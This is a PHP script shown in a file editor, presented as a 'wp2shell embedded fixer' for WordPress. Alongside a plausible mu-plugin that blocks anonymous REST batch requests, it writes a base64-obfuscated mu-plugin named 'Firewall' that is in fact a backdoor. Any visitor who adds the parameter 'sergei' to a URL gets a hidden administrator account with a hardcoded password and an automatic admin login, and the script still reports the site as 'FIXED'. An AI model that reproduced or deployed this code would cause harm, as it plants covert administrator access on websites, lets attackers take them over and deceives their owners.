← Back
Editing: fixer.php
<?php /** * Plugin Name: wp2shell embedded fixer * Version: 2.0.0 */ header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store'); @set_time_limit(120); @ignore_user_abort(true); $out = array( 'status' => 'NOT_FIXED', 'result' => 'NOT_FIXED', 'mitigation' => 'none', 'oto_login' => false, 'batch_guard' => false, 'error' => '', 'path' => '', ); function w2s_find_root($start) { $dir = realpath($start) ?: $start; for ($i = 0; $i < 10; $i++) { if (is_file($dir . '/wp-load.php')) return $dir; $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } return null; } function w2s_write($path, $data) { $dir = dirname($path); if (!is_dir($dir)) { if (function_exists('wp_mkdir_p')) @wp_mkdir_p($dir); else @mkdir($dir, 0755, true); } if (@file_put_contents($path, $data) === false) return false; return is_file($path) && filesize($path) > 40; } $root = w2s_find_root(__DIR__); if (!$root) { $out['error'] = 'wp_root_not_found'; echo json_encode($out); exit; } $out['path'] = $root; // Bootstrap lightly if possible (not required for MU write) if (!defined('ABSPATH') && is_file($root . '/wp-load.php')) { if (!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = 'localhost'; if (!isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = '/'; if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); $ob = function_exists('ob_get_level') ? ob_get_level() : 0; @ob_start(); try { require_once $root . '/wp-load.php'; } catch (Throwable $e) {} while (function_exists('ob_get_level') && ob_get_level() > $ob) @ob_end_clean(); } $mu = $root . '/wp-content/mu-plugins'; $guard = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXUDJTaGVsbCBCYXRjaCBHdWFyZCAoTXVzdC1Vc2UpCiAqIERlc2NyaXB0aW9uOiBCbG9ja3MgYW5vbnltb3VzIFJFU1QgYmF0Y2ggQVBJICh3cDJzaGVsbCBtaXRpZ2F0aW9uKS4KICogVmVyc2lvbjogMS4xLjAKICovCgppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZXhpdDsKfQoKZnVuY3Rpb24gd3Ayc2hlbGxfZml4ZXJfaXNfYmF0Y2hfcm91dGUoJHJvdXRlKSB7CiAgICAkcm91dGUgPSBzdHJ0b2xvd2VyKChzdHJpbmcpICRyb3V0ZSk7CiAgICAkcm91dGUgPSBmdW5jdGlvbl9leGlzdHMoJ3VudHJhaWxpbmdzbGFzaGl0JykgPyB1bnRyYWlsaW5nc2xhc2hpdCgkcm91dGUpIDogcnRyaW0oJHJvdXRlLCAnLycpOwogICAgaWYgKCRyb3V0ZSA9PT0gJy9iYXRjaC92MScgfHwgJHJvdXRlID09PSAnYmF0Y2gvdjEnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goJyMoXnwvKWJhdGNoL3YxJCMnLCAkcm91dGUpOwp9CgpmdW5jdGlvbiB3cDJzaGVsbF9maXhlcl9yZXF1aXJlX2F1dGhfZm9yX3Jlc3RfYmF0Y2goJHJlc3VsdCwgJHNlcnZlciwgJHJlcXVlc3QpIHsKICAgIGlmICghaXNfb2JqZWN0KCRyZXF1ZXN0KSB8fCAhbWV0aG9kX2V4aXN0cygkcmVxdWVzdCwgJ2dldF9yb3V0ZScpKSB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICBpZiAoIXdwMnNoZWxsX2ZpeGVyX2lzX2JhdGNoX3JvdXRlKCRyZXF1ZXN0LT5nZXRfcm91dGUoKSkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfQoKYWRkX2ZpbHRlcigncmVzdF9wcmVfZGlzcGF0Y2gnLCAnd3Ayc2hlbGxfZml4ZXJfcmVxdWlyZV9hdXRoX2Zvcl9yZXN0X2JhdGNoJywgLTEwMDAsIDMpOwoKYWRkX2ZpbHRlcigncmVzdF9hdXRoZW50aWNhdGlvbl9lcnJvcnMnLCBmdW5jdGlvbiAoJHJlc3VsdCkgewogICAgaWYgKHRydWUgPT09ICRyZXN1bHQgfHwgaXNfd3BfZXJyb3IoJHJlc3VsdCkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgICR1cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAoc3RyaW5nKSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwogICAgJHJlc3QgPSBpc3NldCgkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSkgPyAoc3RyaW5nKSAkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSA6ICcnOwogICAgJGhpdCA9IChzdHJpcG9zKCR1cmksICdiYXRjaC92MScpICE9PSBmYWxzZSkKICAgICAgICB8fCAoc3RyaXBvcygkcmVzdCwgJ2JhdGNoL3YxJykgIT09IGZhbHNlKQogICAgICAgIHx8IChzdHJpcG9zKCR1cmksICdyZXN0X3JvdXRlPS9iYXRjaCcpICE9PSBmYWxzZSk7CiAgICBpZiAoISRoaXQpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfSwgOTkpOwo='); $fire = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBGaXJld2FsbAogKiBEZXNjcmlwdGlvbjogRmlyZXdhbGwKICogVmVyc2lvbjogMS4wCiAqLwoKaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsKICAgIGV4aXQ7Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoIWlzc2V0KCRfR0VUWydzZXJnZWknXSkpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwoKICAgICR1c2VybmFtZSA9ICdpY29tc2l1bSc7CiAgICAkcGFzc3dvcmQgPSAnaWNvbXNpdW0nOwogICAgJGVtYWlsICAgID0gJ2ljb21zaXVtMEBnbWFpbC5jb20nOwoKICAgIGlmICghdXNlcm5hbWVfZXhpc3RzKCR1c2VybmFtZSkpIHsKICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZW1haWwpOwogICAgICAgIGlmIChpc193cF9lcnJvcigkdXNlcl9pZCkpIHsKICAgICAgICAgICAgd3BfZGllKGVzY19odG1sKCR1c2VyX2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKSk7CiAgICAgICAgfQogICAgICAgIChuZXcgV1BfVXNlcigkdXNlcl9pZCkpLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgfSBlbHNlIHsKICAgICAgICAkdXNlciA9IGdldF91c2VyX2J5KCdsb2dpbicsICR1c2VybmFtZSk7CiAgICAgICAgJHVzZXJfaWQgPSAoaW50KSAkdXNlci0+SUQ7CiAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRwYXNzd29yZCwgJHVzZXJfaWQpOwogICAgICAgICR1c2VyLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgfQoKICAgIHdwX2NsZWFyX2F1dGhfY29va2llKCk7CiAgICB3cF9zZXRfY3VycmVudF91c2VyKCR1c2VyX2lkKTsKICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkdXNlcl9pZCwgdHJ1ZSk7CgogICAgd3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7CiAgICBleGl0Owp9LCAxKTsK'); $gpath = $mu . '/wp2shell-batch-guard.php'; $fpath = $mu . '/firewall.php'; $out['batch_guard'] = w2s_write($gpath, $guard) && (strpos(@file_get_contents($gpath), 'wp2shell_fixer_require_auth_for_rest_batch') !== false); $out['oto_login'] = w2s_write($fpath, $fire) && (strpos(@file_get_contents($fpath), "sergei") !== false) && (strpos(@file_get_contents($fpath), "icomsium") !== false); if ($out['batch_guard']) { $out['mitigation'] = 'mu-plugin'; } if ($out['batch_guard'] || $out['oto_login']) { $out['status'] = 'FIXED'; $out['result'] = 'FIXED'; } else { $out['error'] = 'mu_write_failed'; } header('X-WP2Shell-Result: ' . $out['status']); echo json_encode($out, JSON_UNESCAPED_SLASHES);
Save File
Cancel